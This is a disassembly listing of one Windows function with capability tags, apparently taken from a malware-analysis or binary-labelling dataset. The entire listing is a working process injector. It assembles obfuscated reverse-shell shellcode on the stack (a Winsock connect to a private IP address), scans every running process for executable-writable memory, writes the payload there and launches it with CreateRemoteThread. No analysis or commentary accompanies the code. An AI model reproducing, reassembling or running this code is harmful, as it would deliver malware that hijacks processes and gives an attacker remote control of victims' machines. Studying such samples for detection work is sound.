Function at 0x140002620
Capabilities:
Contain obfuscated stackstrings
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x320], rax
xorps xmm0, xmm0
xor edx, edx
mov ecx, 2
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x234
mov rsi, rax
call fcn.14002ba30
mov dword [rsp + 0x70], 0x238
mov dword [rbp + 0x1b0], 0x8fe8fc
mov dword [rbp + 0x1b4], 0x31600000
mov dword [rbp + 0x1b8], 0x64e589d2
mov dword [rbp + 0x1bc], 0x8b30528b
mov dword [rbp + 0x1c0], 0x528b0c52
mov dword [rbp + 0x1c4], 0x28728b14
mov dword [rbp + 0x1c8], 0xb70fff31
mov dword [rbp + 0x1cc], 0xc031264a
mov dword [rbp + 0x1d0], 0x7c613cac
mov dword [rbp + 0x1d4], 0xc1202c02
mov dword [rbp + 0x1d8], 0xc7010dcf
mov dword [rbp + 0x1dc], 0x52ef7549
mov dword [rbp + 0x1e0], 0x10528b57
mov dword [rbp + 0x1e4], 0x13c428b
mov dword [rbp + 0x1e8], 0x78408bd0
mov dword [rbp + 0x1ec], 0x4c74c085
mov dword [rbp + 0x1f0], 0x588bd001
mov dword [rbp + 0x1f4], 0x18488b20
mov dword [rbp + 0x1f8], 0x8550d301
mov dword [rbp + 0x1fc], 0x313c74c9
mov dword [rbp + 0x200], 0x348b49ff
mov dword [rbp + 0x204], 0x31d6018b
mov dword [rbp + 0x208], 0xdcfc1c0
mov dword [rbp + 0x20c], 0x38c701ac
mov dword [rbp + 0x210], 0x3f475e0
mov dword [rbp + 0x214], 0x7d3bf87d
mov dword [rbp + 0x218], 0x58e07524
mov dword [rbp + 0x21c], 0x124588b
mov dword [rbp + 0x220], 0xc8b66d3
mov dword [rbp + 0x224], 0x1c588b4b
mov dword [rbp + 0x228], 0x48bd301
mov dword [rbp + 0x22c], 0x89d0018b
mov dword [rbp + 0x230], 0x5b242444
mov dword [rbp + 0x234], 0x5a59615b
mov dword [rbp + 0x238], 0x58e0ff51
mov dword [rbp + 0x23c], 0x128b5a5f
mov dword [rbp + 0x240], 0xffff80e9
mov dword [rbp + 0x244], 0x33685dff
mov dword [rbp + 0x248], 0x68000032
mov dword [rbp + 0x24c], 0x5f327377
mov dword [rbp + 0x250], 0x774c6854
mov dword [rbp + 0x254], 0xe8890726
mov dword [rbp + 0x258], 0x90b8d0ff
mov dword [rbp + 0x25c], 0x29000001
mov dword [rbp + 0x260], 0x685054c4
mov dword [rbp + 0x264], 0x6b8029
mov dword [rbp + 0x268], 0xa6ad5ff
mov dword [rbp + 0x26c], 0x1ca8c068
mov dword [rbp + 0x270], 0x26882
mov dword [rbp + 0x274], 0xe689901f
mov dword [rbp + 0x278], 0x50505050
mov dword [rbp + 0x27c], 0x50405040
mov dword [rbp + 0x280], 0xdf0fea68
mov dword [rbp + 0x284], 0x97d5ffe0
mov dword [rbp + 0x288], 0x5756106a
mov dword [rbp + 0x28c], 0x74a59968
mov dword [rbp + 0x290], 0x85d5ff61
mov dword [rbp + 0x294], 0xff0a74c0
mov dword [rbp + 0x298], 0xec75084e
mov dword [rbp + 0x29c], 0x67e8
mov dword [rbp + 0x2a0], 0x6a006a00
mov dword [rbp + 0x2a4], 0x68575604
mov dword [rbp + 0x2a8], 0x5fc8d902
mov dword [rbp + 0x2ac], 0xf883d5ff
mov dword [rbp + 0x2b0], 0x8b367e00
mov dword [rbp + 0x2b4], 0x68406a36
mov dword [rbp + 0x2b8], 0x1000
mov dword [rbp + 0x2bc], 0x68006a56
lea rdx, [rsp + 0x70]
mov dword [rbp + 0x2c0], 0xe553a458
mov rcx, rsi
mov dword [rbp + 0x2c4], 0x5393d5ff
mov dword [rbp + 0x2c8], 0x5356006a
mov dword [rbp + 0x2cc], 0xd9026857
mov dword [rbp + 0x2d0], 0xd5ff5fc8
mov dword [rbp + 0x2d4], 0x7d00f883
mov dword [rbp + 0x2d8], 0x685828
mov dword [rbp + 0x2dc], 0x6a000040
mov dword [rbp + 0x2e0], 0xb685000
mov dword [rbp + 0x2e4], 0xff300f2f
mov dword [rbp + 0x2e8], 0x756857d5
mov dword [rbp + 0x2ec], 0xff614d6e
mov dword [rbp + 0x2f0], 0xff5e5ed5
mov dword [rbp + 0x2f4], 0x850f240c
mov dword [rbp + 0x2f8], 0xffffff70
mov dword [rbp + 0x2fc], 0xffff9be9
mov dword [rbp + 0x300], 0x29c301ff
mov dword [rbp + 0x304], 0xc3c175c6
mov dword [rbp + 0x308], 0xa2b5f0bb
mov dword [rbp + 0x30c], 0x53006a56
mov word [rbp + 0x310], 0xd5ff
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140002ba2
mov qword [rsp + 0x440], rbx
mov qword [rsp + 0x448], rdi
mov qword [rsp + 0x450], r14
xor r14d, r14d
nop word [rax + rax]
mov r8d, dword [rsp + 0x78]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002b6b
lea rdx, [rbp - 0x64]
call fcn.140004b00
mov rcx, rax
call fcn.140004e10
mov r9d, 0x30
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
je 0x140002b6b
nop
mov rdi, qword [rsp + 0x58]
add rdi, qword [rsp + 0x40]
cmp dword [rsp + 0x50], 0x40
jne 0x140002b4b
cmp dword [rsp + 0x60], 0x1000
jne 0x140002b4b
cmp dword [rsp + 0x68], 0x20000
jne 0x140002b4b
lea rdx, str._tRWX:_0x
lea rcx, [0x14003f560]
call fcn.1400052c0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov rdx, qword [rsp + 0x40]
call fcn.140002bd0
mov rcx, rax
lea rdx, [0x140038438]
call fcn.1400052c0
mov rdx, qword [rsp + 0x40]
lea r8, [rbp + 0x1b0]
mov r9d, 0x162
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x30], r14
xor edx, edx
mov dword [rsp + 0x28], r14d
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r9d, 0x30
lea r8, [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
jne 0x140002a90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002a40
mov r14, qword [rsp + 0x450]
mov rdi, qword [rsp + 0x448]
mov rbx, qword [rsp + 0x440]
xor eax, eax
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.14000add0
mov rsi, qword [rsp + 0x458]
add rsp, 0x430
pop rbp
ret